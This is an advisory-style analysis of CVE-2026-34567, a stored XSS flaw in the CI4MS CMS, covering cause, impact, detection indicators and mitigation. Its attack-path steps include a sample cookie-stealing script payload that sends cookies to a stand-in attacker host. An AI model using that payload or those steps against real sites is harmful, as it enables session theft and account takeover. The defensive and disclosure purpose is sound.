CVE-2026-34567: 
PHP vulnerability analysis and mitigation

CVE-2026-34567 is a stored DOM-based Cross-Site Scripting (XSS) vulnerability in CI4MS, a CodeIgniter 4-based CMS skeleton, that enables full account takeover and privilege escalation across all user roles. The vulnerability affects all CI4MS versions up to and including 0.28.6.0, and was published on March 31, 2026, with a patch released in version 0.31.0.0. It carries a CVSS v3.1 base score of 9.1 (Critical) per the GitHub Advisory, with no user interaction required for exploitation (GitHub Advisory, CI4MS Advisory).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically arising from the absence of input sanitization and output encoding in the Blog Posts Categories module. When an attacker creates or edits a blog category, malicious JavaScript payloads are stored server-side without sanitization; the payload is later rendered unsafely via DOM manipulation methods (e.g., .html(), innerHTML) when any user views the affected category pages. Vulnerable endpoints include /backend/blogs/create, /backend/blogs/, and /blog/{id}. A video proof-of-concept demonstrating exploitation has been published by the reporters (GitHub Advisory, CI4MS Advisory).

Successful exploitation allows an attacker with low-privilege access to execute arbitrary JavaScript in the browsers of all users — including administrators — who view the affected blog categories, enabling session hijacking, credential theft, and full account takeover across all roles. Because the payload executes in the context of privileged users, attackers can escalate privileges and achieve complete application compromise. The changed scope means the impact extends beyond the attacker's own session to affect all users of the application (GitHub Advisory, CI4MS Advisory).

A proof-of-concept exploit (video PoC) is publicly available via the GitHub security advisory, demonstrating the attack path. There is no current evidence of active in-the-wild exploitation. The EPSS score is approximately 0.046–0.058% (18th percentile), indicating a low but non-negligible probability of exploitation within 30 days. The vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (GitHub Advisory, Feedly).

1. Reconnaissance: Identify CI4MS installations running versions ≤ 0.28.6.0 by examining publicly accessible blog pages or administrative panels for CI4MS version indicators.
2. Obtain low-privilege access: Register or log in with any low-privilege account that has permission to create or edit blog post categories in the backend panel.
3. Inject XSS payload: Navigate to the Categories section of the blog management panel (/backend/blogs/create or edit an existing category). Insert a malicious JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or a DOM-based variant) into the category name or description field.
4. Save the payload: Submit the form to store the malicious payload server-side without sanitization.
5. Trigger execution: The payload executes automatically in the browser of any user — including administrators — who views the affected category via /backend/blogs/ or the public blog page /blog/{id}.
6. Achieve account takeover: Capture session cookies or authentication tokens from victims' browsers via the attacker-controlled endpoint, then use them to impersonate victims and escalate privileges to full administrator access (GitHub Advisory, CI4MS Advisory).

• Network: Unexpected outbound HTTP requests from users' browsers to unknown external domains (e.g., attacker-controlled cookie-stealing endpoints) originating from pages under /backend/blogs/ or /blog/{id}; unusual POST requests to /backend/blogs/create or category edit endpoints containing script tags or encoded JavaScript in category name/description fields.
• Logs: Web server access logs showing requests to /backend/blogs/create or category edit endpoints with payloads containing <script>, javascript:, onerror=, or similar XSS indicators in POST body parameters; repeated access to category view pages by accounts with unusual session activity shortly after category creation/editing.
• File System: No direct file system artifacts expected for this stored XSS; however, database records in the blog categories table containing unsanitized HTML or JavaScript content are a key indicator.
• Application/Database: Blog category entries in the database containing raw HTML tags, JavaScript event handlers, or encoded script content in name or description fields (GitHub Advisory).

The primary remediation is to upgrade CI4MS to version 0.31.0.0 or later, which includes global input validation, enhanced CSRF protection, and XSS fixes as part of a major security overhaul integrating CodeIgniter Shield (CI4MS Release). As interim mitigations, restrict blog category creation and editing permissions to trusted administrators only, and implement a strict Content Security Policy (CSP) header to limit unauthorized script execution. Additionally, ensure session cookies are configured with HttpOnly, Secure, and SameSite attributes to reduce the impact of any successful XSS exploitation (GitHub Advisory).

The vulnerability was reported by researchers bugmithlegend and peeefour and published by the CI4MS maintainer bertugfahriozer. Coverage appeared on The Hacker Wire, which published a dedicated article on the stored XSS issue as well as a related piece on blind XSS in the CI4MS logs interface. Social media discussion was observed on Mastodon (infosec.exchange) and Bluesky shortly after disclosure, though overall community reaction was limited given the niche nature of the affected software (The Hacker Wire, GitHub Advisory).